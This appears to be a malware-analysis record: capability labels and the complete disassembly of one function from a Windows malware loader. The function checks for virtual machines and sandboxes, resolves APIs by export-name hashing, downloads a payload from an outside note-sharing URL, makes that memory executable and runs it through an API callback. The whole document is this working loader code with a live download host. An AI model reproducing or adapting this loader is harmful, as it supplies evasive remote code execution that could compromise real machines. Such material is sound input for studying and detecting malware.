Function at 0x140001330
Capabilities:
Enumerate processes
Parse pe header
Reference http user-agent string
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x398
mov rax, qword [0x140005098]
xor rax, rsp
mov qword [rsp + 0x390], rax
movups xmm0, xmmword [0x14000300a]
movups xmmword [rsp + 0x13a], xmm0
movaps xmm0, xmmword [str.vmtoolsd.exe]
movaps xmmword [rsp + 0x130], xmm0
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
lea rdi, [rsp + 0x150]
mov r8d, 0x238
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x150], 0x238
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400013ff
lea r14, [rsp + 0x17c]
lea rbx, [rsp + 0x130]
mov rdi, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscmp]
lea rbp, [rsp + 0x150]
nop word cs:[rax + rax]
nop dword [rax]
mov rcx, r14
mov rdx, rbx
call rdi
test eax, eax
je 0x140001959
mov rcx, rsi
mov rdx, rbp
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400013e0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
lea rbx, [rsp + 0x150]
mov r8d, 0x238
mov rcx, rbx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x150], 0x238
mov rcx, rsi
mov rdx, rbx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140001563
mov ebx, 0xffffffff
lea rdi, [rsp + 0x150]
nop dword [rax]
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_Process32NextW
add ebx, 1
test eax, eax
jne 0x140001460
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
cmp ebx, 0x5e
jb 0x14000195b
call fcn.1400010e0
test eax, eax
je 0x14000195b
mov word [rsp + 0x4e], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 3
xor edi, edi
lea rcx, [rsp + 0x4e]
mov edx, 0x80000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x14000195b
call fcn.140001250
test eax, eax
je 0x14000195b
call section..text
test rax, rax
je 0x14000195b
mov rsi, rax
movzx eax, word [rax]
mov edi, 1
cmp eax, 0x5a4d
jne 0x14000195b
movsxd rax, dword [rsi + 0x3c]
cmp dword [rsi + rax], 0x4550
jne 0x14000195b
mov eax, dword [rsi + rax + 0x88]
mov r12d, dword [rsi + rax + 0x18]
test r12d, r12d
je 0x1400015c8
mov r10d, dword [rsi + rax + 0x1c]
add r10, rsi
mov r13d, dword [rsi + rax + 0x20]
add r13, rsi
mov r15d, dword [rsi + rax + 0x24]
add r15, rsi
lea r11, [rsi + 1]
xor r14d, r14d
movabs r8, 0x7734773477347734
movabs r9, 0x7e5c872c2386c38e
xor edi, edi
jmp 0x14000157c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000195b
add edi, 1
movzx eax, di
cmp r12d, eax
jbe 0x1400015cb
movzx ecx, di
mov ebx, dword [r13 + rcx*4]
mov al, byte [rsi + rbx]
test al, al
je 0x140001571
movzx ecx, word [r15 + rcx*2]
mov ecx, dword [r10 + rcx*4]
add rbx, r11
mov rbp, r8
nop word [rax + rax]
mov rdx, rbp
shl rdx, 5
add rdx, rbp
movzx ebp, al
add rbp, rdx
movzx eax, byte [rbx]
add rbx, 1
test al, al
jne 0x1400015a0
cmp rbp, r9
jne 0x140001571
add rcx, rsi
mov r14, rcx
jmp 0x140001571
xor r14d, r14d
movabs rax, 0x41797261726269
mov qword [rsp + 0x125], rax
movabs rax, 0x7262694c64616f4c
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x120]
mov rcx, rsi
call r14
mov rdi, rax
movabs rax, 0x6c6c642e7364
mov qword [rsp + 0x116], rax
movabs rax, 0x7364657669746361
mov qword [rsp + 0x110], rax
lea rcx, [rsp + 0x110]
call rdi
mov rbx, rax
movabs rax, 0x2e74656e696e6957
mov qword [rsp + 0x100], rax
mov dword [rsp + 0x108], 0x6c6c64
lea rcx, [rsp + 0x100]
call rdi
mov rdi, rax
movabs rax, 0x416e65704f7465
mov qword [rsp + 0xf6], rax
movabs rax, 0x74656e7265746e49
mov qword [rsp + 0xf0], rax
lea rdx, [rsp + 0xf0]
mov rcx, rdi
call r14
mov rbp, rax
movaps xmm0, xmmword [str.InternetOpenUrlA]
movaps xmmword [rsp + 0xd0], xmm0
mov byte [rsp + 0xe0], 0
lea rdx, [rsp + 0xd0]
mov rcx, rdi
call r14
mov r13, rax
movaps xmm0, xmmword [str.InternetReadFile]
movaps xmmword [rsp + 0xb0], xmm0
mov byte [rsp + 0xc0], 0
lea rdx, [rsp + 0xb0]
mov rcx, rdi
call r14
mov r15, rax
movaps xmm0, xmmword [str.InternetCloseHandle]
movaps xmmword [rsp + 0x90], xmm0
mov dword [rsp + 0xa0], 0x656c64
lea rdx, [rsp + 0x90]
mov rcx, rdi
call r14
mov rdi, rax
movabs rax, 0x6d654d734441
mov qword [rsp + 0x87], rax
movabs rax, 0x41636f6c6c616552
mov qword [rsp + 0x80], rax
lea rdx, [rsp + 0x80]
mov rcx, rbx
call r14
mov r12, rax
movaps xmm0, xmmword [str.VirtualProtect]
movaps xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x70]
mov rcx, rsi
call r14
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [str.EnumTimeFormatsA]
movaps xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x60], 0
lea rdx, [rsp + 0x50]
mov rcx, rsi
call r14
mov r14, rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_118.0.0.0_Safari_537.36_Edg_118.0.2088.57
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call rbp
mov rbp, rax
movups xmm0, xmmword [0x14000314e]
movups xmmword [rsp + 0x1ae], xmm0
movaps xmm0, xmmword [0x140003140]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [0x140003130]
movaps xmmword [rsp + 0x190], xmm0
movaps xmm0, xmmword [0x140003120]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [0x140003110]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140003100]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [str.https:__note.youdao.com_yws_public_resource_7893db65d3f1a9a94ab185c483bcdb57_20A506986DA847E2933D46F828198A86]
movaps xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000000
lea rdx, [rsp + 0x150]
mov rcx, rax
xor r8d, r8d
xor r9d, r9d
call r13
mov rsi, rax
mov ecx, 0x48430
call fcn.140001cdc
mov rbx, rax
lea r9, [rsp + 0x48]
mov rcx, rsi
mov rdx, rax
mov r8d, 0x48430
call r15
mov rcx, rbp
call rdi
mov rcx, rsi
call rdi
xor ecx, ecx
mov edx, 0x48430
mov r8d, 0x48430
call r12
mov rdi, rax
lea rax, [rbx + 0x48430]
cmp rdi, rax
jae 0x1400018c5
mov rax, rdi
add rax, 0x48430
cmp rbx, rax
jae 0x1400018c5
mov eax, 3
mov rbp, qword [rsp + 0x38]
movzx ecx, byte [rbx + rax - 3]
mov byte [rdi + rax - 3], cl
movzx ecx, byte [rbx + rax - 2]
mov byte [rdi + rax - 2], cl
movzx ecx, byte [rbx + rax - 1]
mov byte [rdi + rax - 1], cl
movzx ecx, byte [rbx + rax]
mov byte [rdi + rax], cl
add rax, 4
cmp rax, 0x48433
jne 0x140001895
jmp 0x140001931
mov eax, 0x50
movups xmm0, xmmword [rbx + rax - 0x50]
movups xmm1, xmmword [rbx + rax - 0x40]
movups xmmword [rdi + rax - 0x50], xmm0
movups xmmword [rdi + rax - 0x40], xmm1
movups xmm0, xmmword [rbx + rax - 0x30]
movups xmm1, xmmword [rbx + rax - 0x20]
movups xmmword [rdi + rax - 0x30], xmm0
movups xmmword [rdi + rax - 0x20], xmm1
movups xmm0, xmmword [rbx + rax - 0x10]
movups xmm1, xmmword [rbx + rax]
movups xmmword [rdi + rax - 0x10], xmm0
movups xmmword [rdi + rax], xmm1
add rax, 0x60
cmp rax, 0x48470
jne 0x1400018ca
mov rax, qword [rbx + 0x48420]
mov qword [rdi + 0x48420], rax
mov rax, qword [rbx + 0x48428]
mov qword [rdi + 0x48428], rax
mov rbp, qword [rsp + 0x38]
lea r9, [rsp + 0x44]
mov edx, 0x48430
mov rcx, rdi
mov r8d, 0x40
call rbp
cmp eax, 1
jne 0x140001959
mov rcx, rdi
mov edx, 0x800
xor r8d, r8d
call r14
xor edi, edi
mov rcx, qword [rsp + 0x390]
xor rcx, rsp
call fcn.140001f60
mov eax, edi
add rsp, 0x398
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret